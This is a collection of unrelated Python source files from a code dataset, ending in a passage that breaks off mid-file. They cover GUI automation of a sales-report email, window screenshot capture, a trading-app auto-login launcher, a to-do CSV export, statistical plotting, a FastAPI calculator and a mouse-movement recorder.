os.path.basename(filename)\n\n    np.savetxt(r'.\\CorpusPre\\fb_corpus.txt', df, fmt='%s', encoding=encoding)\n", "repo_name": "jordanchtan/EvaluationData", "sub_path": "Preprocessor.py", "file_name": "Preprocessor.py", "file_ext": "py", "file_size_in_byte": 3528, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "unicodedata.normalize", "line_number": 20, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 33, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 34, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 35, "usage_type": "call"}, {"api_name": "inflect.engine", "line_number": 42, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path", "line_number": 96, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path", "line_number": 106, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 118, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 118, "usage_type": "call"}, {"api_name": "os.path", "line_number": 118, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 132, "usage_type": "call"}]}
{"seq_id": "30601178646", "text": "\"\"\"Threading utility\"\"\"\n# pylint: disable=unused-argument,too-many-arguments\nfrom threading import Thread as BaseThread\nfrom sys import settrace\nfrom typing import Any, Callable, Iterable, Mapping\n\n\nclass Thread(BaseThread):\n    \"\"\"Extended thread, hopefully it can kill the thread.\"\"\"\n\n    def __init__(self,\n                 group: None = None,\n                 target: Callable[..., object] | None = None,\n                 name: str | None = None,\n                 args: Iterable[Any] | None = None,\n                 kwargs: Mapping[str, Any] | None = None,\n                 *,\n                 daemon: bool | None = None) -> None:\n        super().__init__(group, target, name, () if not args else args,\n                         {} if not kwargs else kwargs, daemon=daemon)\n        self._killed = False\n        self._run_backup = lambda: None\n\n    def start(self) -> None:\n        \"\"\"Start thread\"\"\"\n        self._run_backup = self.run\n        self.run = self._run\n        return super().start()\n\n    def _run(self):\n        settrace(self._globaltrace)\n        self._run_backup()\n\n    def _globaltrace(self, frame, event, arg):\n        if event == \"call\":\n            return self._localtrace\n        return None\n\n    def _localtrace(self, frame, event, arg):\n        if self._killed:\n            if event == \"line\":\n                raise SystemExit()\n        return self._localtrace\n\n    def kill(self):\n        \"\"\"Kill thread\"\"\"\n        self._killed = True\n", "repo_name": "RimuEirnarn/PyPong", "sub_path": "packs/thread.py", "file_name": "thread.py", "file_ext": "py", "file_size_in_byte": 1461, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "threading.Thread", "line_number": 8, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 13, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.Mapping", "line_number": 16, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 16, "usage_type": "name"}, {"api_name": "sys.settrace", "line_number": 31, "usage_type": "call"}]}
{"seq_id": "69964352585", "text": "import pyautogui\nimport pyperclip\nimport time\nimport pandas\n\n\npyautogui.PAUSE = 2.5\n\n# comandos pyautogui\n# pyautogui.click -> clicar\n# pyautogui.write -> escrever\n# pyautogui.press -> pressionar\n# pyautogui.hotkey -> atalho\n\n# pegar posição do mouse\n# import time\n# time.sleep(5)\n# print(pyautogui.position())\n\n# # Passo 1: entrar no sistema da empresa (no link do drive)\npyautogui.press(\"win\")\npyautogui.write(\"opera\")\npyautogui.press(\"enter\")\npyautogui.hotkey(\"ctrl\",\"t\")\npyperclip.copy(\"https://www.youtube.com/redirect?event=video_description&redir_token=QUFFLUhqbDlYbFRXM1QxbHBRc0xUMk5uXzJpcmVHWjZNUXxBQ3Jtc0trMUpIa2dyWVBDUEtCUUpPVHRSMmhQYmJZVFR5NmY4Tkdqa25fWjVoZWlMTTZWTk4xRjREZmtvY2s1TFdhSXl2RjNjV0F3WWFHN2hSalVpN1NpMXA4U0YtZFl2eS1XWjNlZHByOF90NmMzMUNBRm9KTQ&q=https%3A%2F%2Fdrive.google.com%2Fdrive%2Ffolders%2F149xknr9JvrlEnhNWO49zPcw0PW5icxga%3Fusp%3Dsharing&v=JKOLBw5sHCw\")\npyautogui.hotkey(\"ctrl\",\"v\")\npyautogui.press(\"enter\")\ntime.sleep(5)\n\n# Passo 2: navegar até o local do relatório (entrar na pasta exportar)\npyautogui.click(x=490, y=279, clicks=2)\n\n\n# Passo 3: exportar o relatório (fazer o download)\npyautogui.click(x=490, y=279, clicks=1)\npyautogui.click(x=1158, y=191, clicks=1)\npyautogui.click(x=1045, y=621, clicks=1)\n\n\n# Passo 4: calcular os indicadores (faturamento e quantidade de produtos)\ntabela = pandas.read_excel(r\"C:\\Users\\yasmi\\Downloads\\Vendas - Dez.xlsx\")\nprint(tabela)\n\nfaturamento = tabela[\"Valor Final\"].sum()\nquantidade = tabela[\"Quantidade\"].sum()\n\n\n# passo 5: enviar um email para a diretoria\npyautogui.hotkey(\"ctrl\",\"t\")\npyperclip.copy(\"https://mail.google.com/mail/u/2/#inbox\")\npyautogui.hotkey(\"ctrl\",\"v\")\npyautogui.press(\"enter\")\ntime.sleep(5)\npyautogui.click(x=227, y=202, clicks=1)\npyautogui.write(\"101972017@eniac.edu.br\")\npyautogui.press(\"tab\")\npyautogui.press(\"tab\")\npyperclip.copy(\"Relatório de Vendas\")\npyautogui.hotkey(\"ctrl\",\"v\")\npyautogui.press(\"tab\")\ntexto = f\"\"\"Prezados, bom dia\nO faturamento de ontem foi de : R${faturamento:,.2f}\nA quantidade de produtos foi de: {quantidade:,}\"\"\"\npyperclip.copy(texto)\npyautogui.hotkey(\"ctrl\",\"v\")\npyautogui.hotkey(\"ctrl\",\"enter\")", "repo_name": "Yas-min176/auto_mail", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2130, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pyautogui.PAUSE", "line_number": 7, "usage_type": "attribute"}, {"api_name": "pyautogui.press", "line_number": 21, "usage_type": "call"}, {"api_name": "pyautogui.write", "line_number": 22, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 23, "usage_type": "call"}, {"api_name": "pyautogui.hotkey", "line_number": 24, "usage_type": "call"}, {"api_name": "pyperclip.copy", "line_number": 25, "usage_type": "call"}, {"api_name": "pyautogui.hotkey", "line_number": 26, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 27, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 28, "usage_type": "call"}, {"api_name": "pyautogui.click", "line_number": 31, "usage_type": "call"}, {"api_name": "pyautogui.click", "line_number": 35, "usage_type": "call"}, {"api_name": "pyautogui.click", "line_number": 36, "usage_type": "call"}, {"api_name": "pyautogui.click", "line_number": 37, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 41, "usage_type": "call"}, {"api_name": "pyautogui.hotkey", "line_number": 49, "usage_type": "call"}, {"api_name": "pyperclip.copy", "line_number": 50, "usage_type": "call"}, {"api_name": "pyautogui.hotkey", "line_number": 51, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 52, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 53, "usage_type": "call"}, {"api_name": "pyautogui.click", "line_number": 54, "usage_type": "call"}, {"api_name": "pyautogui.write", "line_number": 55, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 56, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 57, "usage_type": "call"}, {"api_name": "pyperclip.copy", "line_number": 58, "usage_type": "call"}, {"api_name": "pyautogui.hotkey", "line_number": 59, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 60, "usage_type": "call"}, {"api_name": "pyperclip.copy", "line_number": 64, "usage_type": "call"}, {"api_name": "pyautogui.hotkey", "line_number": 65, "usage_type": "call"}, {"api_name": "pyautogui.hotkey", "line_number": 66, "usage_type": "call"}]}
{"seq_id": "28265967956", "text": "import win32gui\nimport win32ui\nfrom ctypes import windll\n# import Image\nfrom PIL import Image\nimport numpy as np\nall_ims = []\nimport time\n\nclass WindowCapture:\n\n    def __init__(self, font_size = 12):\n        self.font_size = font_size\n        self.select_handle()\n        self.init()\n\n    def select_handle(self):\n        self.hwnd = win32gui.FindWindow(None, 'cogmind - Beta 9.4')\n\n    def init(self):\n        left, top, right, bot = win32gui.GetWindowRect(self.hwnd)\n        #print(\"left, top, right, bot\",left, top, right, bot)\n        if self.font_size == 12:\n            w = 1280 - 2\n            h = 755\n        if self.font_size == 18:\n            w = 106 * 18 - ( - 3 - 3)\n            h = 60 * 18 - (- 32 - 3)\n        self.windowH = h\n        self.windowW = w\n\n        hwndDC = win32gui.GetWindowDC(self.hwnd)\n        mfcDC = win32ui.CreateDCFromHandle(hwndDC)\n        saveDC = mfcDC.CreateCompatibleDC()\n        saveBitMap = win32ui.CreateBitmap()\n        saveBitMap.CreateCompatibleBitmap(mfcDC, w, h)\n        saveDC.SelectObject(saveBitMap)\n        self.saveDC = saveDC\n        self.saveBitMap = saveBitMap\n\n    def capture_and_toImg(self):\n        t = self.capture()\n        return self.clipImg(t)\n\n\n    def capture(self):\n        windll.user32.PrintWindow(self.hwnd, self.saveDC.GetSafeHdc(), 0)\n        bmpinfo = self.saveBitMap.GetInfo()\n        bmpstr:bytes = self.saveBitMap.GetBitmapBits(True)\n        im = Image.frombuffer(\n            'RGB',\n            (bmpinfo['bmWidth'], bmpinfo['bmHeight']),\n            bmpstr, 'raw', 'BGRX', 0, 1)\n        t = np.array(im)\n        self.last_capture = t\n        return t\n\n    def clipImg(self,im):\n        imgArr = np.array(im)\n        t1 = imgArr[32:self.windowH - 3, 3: self.windowW - 3, :]\n        return t1\n\n    def save(self, img, path):\n        Image.fromarray(img).save(path)\n\ndef work():\n    cap = WindowCapture()\n    time.sleep(3)\n    cap.capture()\n    img = cap.clipImg(cap.last_capture)\n    cap.save(img,\"temp.bmp\")\n\n    for i in range(10):\n        time.sleep(3)\n        cap.capture()\n        img = cap.clipImg(cap.last_capture)\n        cap.save(img, f\"temp_{i}.bmp\")\n\n#work()", "repo_name": "oneengineer/cogai", "sub_path": "process_snapshot.py", "file_name": "process_snapshot.py", "file_ext": "py", "file_size_in_byte": 2146, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "win32gui.FindWindow", "line_number": 18, "usage_type": "call"}, {"api_name": "win32gui.GetWindowRect", "line_number": 21, "usage_type": "call"}, {"api_name": "win32gui.GetWindowDC", "line_number": 32, "usage_type": "call"}, {"api_name": "win32ui.CreateDCFromHandle", "line_number": 33, "usage_type": "call"}, {"api_name": "win32ui.CreateBitmap", "line_number": 35, "usage_type": "call"}, {"api_name": "ctypes.windll.user32.PrintWindow", "line_number": 47, "usage_type": "call"}, {"api_name": "ctypes.windll.user32", "line_number": 47, "usage_type": "attribute"}, {"api_name": "ctypes.windll", "line_number": 47, "usage_type": "name"}, {"api_name": "PIL.Image.frombuffer", "line_number": 50, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 50, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 59, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 64, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 64, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 68, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 74, "usage_type": "call"}]}
{"seq_id": "31616780076", "text": "#!/usr/bin/python3\n\"\"\"\nexport data in the CSV format.\n\"\"\"\nimport csv\nfrom sys import argv\nimport requests\n\n\nif __name__ == '__main__':\n    id = argv[1]\n    us_url = 'https://jsonplaceholder.typicode.com/users/{}'.format(id)\n    tod_url = 'https://jsonplaceholder.typicode.com/users/{}/todos'.format(id)\n\n    r_todo = requests.get(tod_url).json()\n    r_user = requests.get(us_url).json()\n\n    with open('{}.csv'.format(id), 'w') as csvfile:\n        csvwriter = csv.writer(csvfile, quoting=csv.QUOTE_ALL)\n        for x in r_todo:\n            y = [id, r_user.get('username'),\n                 x.get('completed'),\n                 x.get('title')]\n            y = [str(value) for value in y]\n            csvwriter.writerow(y)\n", "repo_name": "EricAltez/holberton-system_engineering-devops", "sub_path": "0x15-api/1-export_to_CSV.py", "file_name": "1-export_to_CSV.py", "file_ext": "py", "file_size_in_byte": 721, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.argv", "line_number": 11, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 15, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 16, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 19, "usage_type": "call"}, {"api_name": "csv.QUOTE_ALL", "line_number": 19, "usage_type": "attribute"}]}
{"seq_id": "74355646985", "text": "#윈도우 환경에서 실행\nfrom pywinauto import application\nimport time\nimport os\n\nos.system('taskkill /IM coStarter* /F /T')\nos.system('taskkill /IM CpStart* /F /T')\nos.system('wmic process where \"name like \\'%coStarter%\\'\" call terminate')\nos.system('wmic process where \"name like \\'%CpStart%\\'\" call terminate')\ntime.sleep(5)        \n\napp = application.Application()\nwith open('login','r') as file:\n    read = file.read().split('\\n')\n    id = read[0]\n    pwd = read[1]\n    pwdcert = read[2]\nconnect_str = 'C:\\CREON\\STARTER\\coStarter.exe /prj:cp /id:{id} /pwd:{pwd} /pwdcert:{pwdcert} /autostart'.format_map({'id':id, 'pwd':pwd,'pwdcert':pwdcert})\napp.start(connect_str)\ntime.sleep(60)\n", "repo_name": "lhk810/Finance-Analysis", "sub_path": "system_trading/auto_connect.py", "file_name": "auto_connect.py", "file_ext": "py", "file_size_in_byte": 693, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.system", "line_number": 6, "usage_type": "call"}, {"api_name": "os.system", "line_number": 7, "usage_type": "call"}, {"api_name": "os.system", "line_number": 8, "usage_type": "call"}, {"api_name": "os.system", "line_number": 9, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 10, "usage_type": "call"}, {"api_name": "pywinauto.application.Application", "line_number": 12, "usage_type": "call"}, {"api_name": "pywinauto.application", "line_number": 12, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 20, "usage_type": "call"}]}
{"seq_id": "11359043579", "text": "# meta analysis of WT in SPBUN\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport researchpy as rp\n\n\nclass MetaWT:\n\n    def __init__(self):\n\n        self.data = pd.read_csv(\"meta_wt_raw.csv\")\n        self.data = self.data.loc[:, ~self.data.columns.str.contains('^Unnamed')]\n        self.data = self.data.drop(columns=['ds_s', 'da_s', 'dal_s'])\n\n        parsed = self.data.pivot_table(index=['who', 'file '], columns=[\"type\"]).copy()\n        self.column_order = ['RT', 'RTln', 'FR10', 'FR300', 'FR500', 'ds_t2', 'ds_A2', 'ds_t1', 'ds_A1', 'ds_c', 'ds1_t', 'ds1_c', 'dal_t2', 'dal_A2', 'dal_t1', 'dal_A1', 'dal_m', 'da_t2', 'da_A2', 'da_t1', 'da_A1', 'da_m']\n        parsed = parsed.reindex_axis(self.column_order, axis=1, level=0)\n\n        print(parsed)\n        print(parsed.describe())\n        parsed.describe().to_csv('summary.csv')\n\n        print(parsed.loc[\"Marek\", :])\n        print(parsed.loc[\"Marek\", :].describe())\n        parsed.loc[\"Marek\", :].describe().to_csv('marek_summary.csv')\n\n    def exp_lc_test(self):\n\n        lcs = self.data[(self.data['type'] == 'lc')]\n        lcs.reset_index(inplace=True)\n        exps = self.data[(self.data['type'] == 'exp')]\n        exps.reset_index(inplace=True)\n\n        p_values = {}\n        for param in lcs.columns[4:]:\n            #print(param)\n            descriptives, results = rp.ttest(lcs[param].dropna(how='all'), exps[param].dropna(how='all'))\n            #print(descriptives)\n            #print(results)\n            p_values[param] = [results.iloc[3, 1], descriptives.loc[0, 'Mean'], descriptives.loc[1, 'Mean']]\n\n        statistics = pd.DataFrame(p_values, index=['p-value', 'LC', 'EXP'])\n        statistics = statistics.reindex_axis(self.column_order, axis=1)\n        print(statistics)\n        statistics.to_csv('statistics.csv')\n\n        # print(stats.levene(lcs['FR10'].dropna(how='all'), exps['FR10'].dropna(how='all')))\n        # print(stats.ttest_ind(lcs['FR10'].dropna(how='all'), exps['FR10'].dropna(how='all')))\n\n    def plot_violin(self, param, yname):\n\n        fig = plt.figure(figsize=(12, 5))\n        grid = plt.GridSpec(1, 5, wspace=0.5, hspace=0.)\n        ax1 = fig.add_subplot(grid[0, 0:4])\n        ax2 = fig.add_subplot(grid[0, 4], sharey=ax1)\n\n        g1 = sns.swarmplot(ax=ax1, x=\"who\", y=param, data=self.data, hue=\"type\", palette='deep', size=8)\n        g1 = sns.violinplot(ax=ax1, x=\"who\", y=param, data=self.data, hue=\"type\", inner=\"quart\", split=True,\n                            palette='pastel')\n        g1.legend_.remove()\n        g1.set(ylabel=yname, xlabel='')\n\n        g2 = sns.swarmplot(ax=ax2, y=self.data[param], x=[\"\"] * len(self.data[param]), hue=self.data[\"type\"],           # dirty hack without data='smth' to have hue with single 'x'\n                           dodge=False, palette='deep', size=8)\n        g2 = sns.violinplot(ax=ax2, y=self.data[param], x=[\"\"] * len(self.data[param]), hue=self.data[\"type\"],\n                            inner='quart', split=True, palette='pastel', size=8)\n        g2.legend_.remove()\n        g2.set(ylabel='')\n        g2.set(xticks=[])\n\n        sns.despine(ax=ax1, offset=5, trim=True)\n        sns.despine(ax=ax2, offset=5, trim=True, bottom=True, left=False)\n\n        #plt.tight_layout()\n        plt.show()\n\n        fig.savefig(yname+\"_all.png\", dpi=300)\n\n    def plot_ds(self):\n\n        for param, labe in zip(['ds_A1', 'ds_A2', 'ds_c', 'ds_t1', 'ds_t2'], ['desensitization A slow',\n                                                                              'desenitization A fast',\n                                                                              'desensitization c',\n                                                                              'desensitization t slow',\n                                                                              'desensitization t fast']):\n            self.plot_violin(param, labe)\n\n    def plot_ds1(self):\n\n        for param, labe in zip(['ds1_t', 'ds1_c'], ['desensitization (1 component) t', 'desensitization (1 component) c']):\n            self.plot_violin(param, labe)\n\n    def plot_fr(self):\n\n        for param in ['FR10', 'FR300', 'FR500']:\n            self.plot_violin(param, param)\n\n    def plot_rt(self):\n\n        for param in ['RT', 'RTln']:\n            self.plot_violin(param, param)\n\n    def plot_dea_short(self):\n\n        for param, labe in zip(['da_A1', 'da_A2', 'da_t1', 'da_t2', 'da_m'], ['deactivation (short pulse) A slow',\n                                                                              'deactivation (short pulse) A fast',\n                                                                              'deactivation (short pulse) t slow',\n                                                                              'deactivation (short pulse) t fast',\n                                                                              'deactivation (short pulse) t mean']):\n            self.plot_violin(param, labe)\n\n    def plot_dea_long(self):\n\n        for param, labe in zip(['dal_A1', 'dal_A2', 'dal_t1', 'dal_t2', 'dal_m'], ['deactivation (long pulse) A slow',\n                                                                                   'deactivation (long pulse) A fast',\n                                                                                   'deactivation (long pulse) t slow',\n                                                                                   'deactivation (long pulse) t fast',\n                                                                                   'deactivation (long pulse) t mean']):\n            self.plot_violin(param, labe)\n\n\nsns.set_style()\nsns.set_context(\"talk\")\n\nmetaWT = MetaWT()\n\nmetaWT.exp_lc_test()\n\nmetaWT.plot_rt()\nmetaWT.plot_fr()\nmetaWT.plot_ds()\nmetaWT.plot_ds1()\nmetaWT.plot_dea_long()\nmetaWT.plot_dea_short()\n", "repo_name": "michal2am/bioscripts", "sub_path": "multi_channel/meta_wt.py", "file_name": "meta_wt.py", "file_ext": "py", "file_size_in_byte": 5834, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pandas.read_csv", "line_number": 13, "usage_type": "call"}, {"api_name": "researchpy.ttest", "line_number": 39, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.GridSpec", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "seaborn.swarmplot", "line_number": 59, "usage_type": "call"}, {"api_name": "seaborn.violinplot", "line_number": 60, "usage_type": "call"}, {"api_name": "seaborn.swarmplot", "line_number": 65, "usage_type": "call"}, {"api_name": "seaborn.violinplot", "line_number": 67, "usage_type": "call"}, {"api_name": "seaborn.despine", "line_number": 73, "usage_type": "call"}, {"api_name": "seaborn.despine", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "seaborn.set_style", "line_number": 124, "usage_type": "call"}, {"api_name": "seaborn.set_context", "line_number": 125, "usage_type": "call"}]}
{"seq_id": "26728821337", "text": "from uuid import uuid4\n\nfrom fastapi import APIRouter\n\nfrom db.fake_db import result\nfrom handlers.actions import calculate\nfrom schemas.schemas import GetValues\n\ntask_router = APIRouter()\n\n\n@task_router.post(\"/create_task\")\nasync def create_calculation_task(values: GetValues):\n    task_id = str(uuid4())\n    result[task_id] = {\n        \"result\": await calculate(values.x, values.y, values.operator),\n        \"status\": \"pending\",\n    }\n    return task_id\n\n\n@task_router.get(\"/get_result\")\nasync def get_calculation_result(task_id: str):\n    result[task_id][\"status\"] = \"done\"\n    return result[task_id][\"result\"]\n\n\n@task_router.get(\"/status\")\nasync def get_status():\n    return result\n", "repo_name": "kozpavelp/calc_app", "sub_path": "handlers/handlers.py", "file_name": "handlers.py", "file_ext": "py", "file_size_in_byte": 686, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "fastapi.APIRouter", "line_number": 9, "usage_type": "call"}, {"api_name": "schemas.schemas.GetValues", "line_number": 13, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 14, "usage_type": "call"}, {"api_name": "db.fake_db.result", "line_number": 15, "usage_type": "name"}, {"api_name": "handlers.actions.calculate", "line_number": 16, "usage_type": "call"}, {"api_name": "db.fake_db.result", "line_number": 24, "usage_type": "name"}, {"api_name": "db.fake_db.result", "line_number": 25, "usage_type": "name"}, {"api_name": "db.fake_db.result", "line_number": 30, "usage_type": "name"}]}
{"seq_id": "35051183775", "text": "import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set()\nimport os\nimport joblib\n\n# This script creates the heatplot for one single type of analysis that is\n# specified on the path\n\n# Load the analysis results\npath = '/code/BayOptPy/tpot/vanilla_combi/100_generations/random_seed_010/tpot_BANC_freesurf_vanilla_combi_100gen.dump'\nresults = joblib.load(path)\n\n# Define the list of possible models\nalgorithms_list = ['GaussianProcessRegressor', 'RVR', 'LinearSVR',\n          'RandomForestRegressor', 'KNeighborsRegressor',\n          'LinearRegression', 'Ridge','ElasticNetCV',\n          'ExtraTreesRegressor', 'LassoLarsCV',\n          'DecisionTreeRegressor']\n\ndf = pd.DataFrame(columns=algorithms_list, index=results['evaluated_individuals'].keys())\n\n# Iterate over all the dictionary keys from the dictionary with the TPOT\n# analysed model and count the ocurrence of each one of the algorithms of\n# interest\nfor generation in results['evaluated_individuals']:\n    algorithms_dic = dict.fromkeys(algorithms_list, 0)\n    for algorithm in algorithms_list:\n        for tpot_pipeline in results['evaluated_individuals'][generation]:\n            # By using '( we cound the algorithm only once and do not\n            # care about its hyperparameters definitions'\n            algorithms_dic[algorithm] += tpot_pipeline.count(algorithm + '(')\n    # Append the count of algorithms to the dataframe\n    df.loc[generation] = pd.Series(algorithms_dic)\n\n# Create heatmap\ndf2 = df.transpose()\nplt.figure(figsize=(8,8))\nsns.heatmap(df2, cmap='YlGnBu')\nplt.xlabel('Generations')\nplt.tight_layout()\nplt.savefig('/code/BayOptPy/tpot/heatmap.png')\n", "repo_name": "Mind-the-Pineapple/tpot-age", "sub_path": "BayOptPy/tpot/create_heatmap.py", "file_name": "create_heatmap.py", "file_ext": "py", "file_size_in_byte": 1674, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "seaborn.set", "line_number": 5, "usage_type": "call"}, {"api_name": "joblib.load", "line_number": 14, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 23, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "seaborn.heatmap", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}]}
{"seq_id": "391313590", "text": "import time\nimport win32api\nfrom consts import movement\nimport pandas as pd\nimport pyautogui as pgui\nfrom process.data import save_data\n\n\ndef get_resolution() -> tuple:\n    \"\"\"\n    Get the user Screen Resolution\n    :return: Tuple with the user Screen resolution\n    \"\"\"\n    return pgui.size()\n\n\ndef click_status_changed(click_status: bool,\n                         mouse_button: bool\n                         ) -> bool:\n    \"\"\"\n    Inform if the Click status has changed\n    :param click_status: Inform if the button is currently clicked\n    :param mouse_button: button to compare, used as old_value for the button\n    :return: Bool value informing if the button click has changed\n    \"\"\"\n    return is_pressed(click_status) != mouse_button\n\n\ndef movement_status_changed(old_position,\n                            current_position,\n                            old_state\n                            ) -> bool:\n    \"\"\"\n    Inform if the movement status has changed\n    :param old_position: Pointer last position. Should be passed as X for horizontal change or Y for vertical (separately)\n    :param current_position: Pointer current position. Should be passed as X for horizontal change or Y for vertical (separately)\n    :param old_state: The status of the last verification... Was mouse moving or stopped\n    :return: Bool value informing if the movement has changed\n    \"\"\"\n    return (old_position != current_position) != old_state\n\n\ndef is_pressed(button) -> bool:\n    \"\"\"\n    Inform if the button is currently pressed\n    :param button: Button to validate\n    :return: Bool value informing if the button is currently pressed or not\n    \"\"\"\n    return button < 0\n\n\nclass record:\n    \"\"\"\n    Class to perform data Record.\n    Should track the mouse cursor and register data like mouse movement, clicks, time, speed, etc.\n    All the data will be stored in separated files named as the task informed on the run method.\n    Data files will have a suffix informing what the file contains, status or events.\n    Event Files will contain all the tracking data, when a click was performed, which direction the cursor is running and what time is this beeing recorded.\n    Status Files will contain a general analysys of the run. Will show how many times the click was active, the distance traveled bu the mouse cursor, etc.\n    \"\"\"\n    def __init__(self,\n                 sample_size: int = 2000,\n                 sample_collection_interval: float = 0.01,\n                 interval_between_collection: int = 10\n                 ):\n        \"\"\"\n        Initialize the general parameters to register any run of the record\n        :param sample_size: How many samples should be collected.\n        :param sample_collection_interval: Interval between a sample collection and the next one.\n        :param interval_between_collection: Interval between a run and another. If the user wants to record multiple times with spaced time between collection.\n        \"\"\"\n        self.sample_size = sample_size\n        self.sample_collection_interval = sample_collection_interval\n        self.interval_between_collection = interval_between_collection\n        self.__set_configuration()\n\n    def __set_configuration(self):\n        \"\"\"\n        Run setup Configuration, initialize all the variables and dataframes to record data.\n        \"\"\"\n        self.screen_width, self.screen_height = get_resolution()\n        self.__init_click_variables()\n        self.__init_movement_variables()\n        self.mouse_event_dataframe = pd.DataFrame()\n        self.mouse_stats_dataframe = pd.DataFrame()\n\n    def __init_click_variables(self):\n        \"\"\"\n        Create and initialize all the variables used on the Click analysys.\n        \"\"\"\n        self.l_click = False\n        self.r_click = False\n\n        self.qt_l_click = 0\n        self.qt_r_click = 0\n\n        self.avg_time_l_click = 0\n        self.avg_time_r_click = 0\n\n        self.total_time_l_click = 0\n        self.total_time_r_click = 0\n\n        self.delta_left_click = 0\n        self.delta_right_click = 0\n\n    def __init_movement_variables(self):\n        \"\"\"\n        Create and initialize all the variables used in the movement analysys.\n        \"\"\"\n        self.l_mov = False\n        self.r_mov = False\n\n        self.is_moving_hor = False\n        self.is_moving_ver = False\n\n        self.mov_hor_dir = 0\n        self.mov_ver_dir = 0\n\n        self.delta_hor_mov = 0\n        self.delta_ver_mov = 0\n\n        self.mov_hor_dist = 0\n        self.mov_ver_dist = 0\n\n        self.total_time_l_mov = 0\n        self.total_time_r_mov = 0\n\n        self.l_mov_count = 0\n        self.r_mov_count = 0\n\n        self.total_time_u_mov = 0\n        self.total_time_d_mov = 0\n\n        self.u_mov_count = 0\n        self.d_mov_count = 0\n\n        self.tot_hor_dist = 0\n        self.tot_ver_dist = 0\n\n        self.total_dist_l_mov = 0\n        self.total_dist_r_mov = 0\n        self.total_dist_u_mov = 0\n        self.total_dist_d_mov = 0\n\n        self.tot_hor_time = 0\n        self.tot_ver_time = 0\n\n    def __set_hor_dist(self,\n                       hor_dist: int\n                       ):\n        \"\"\"\n        Set the horizontal distance for the sample.\n        If the value is negative, the 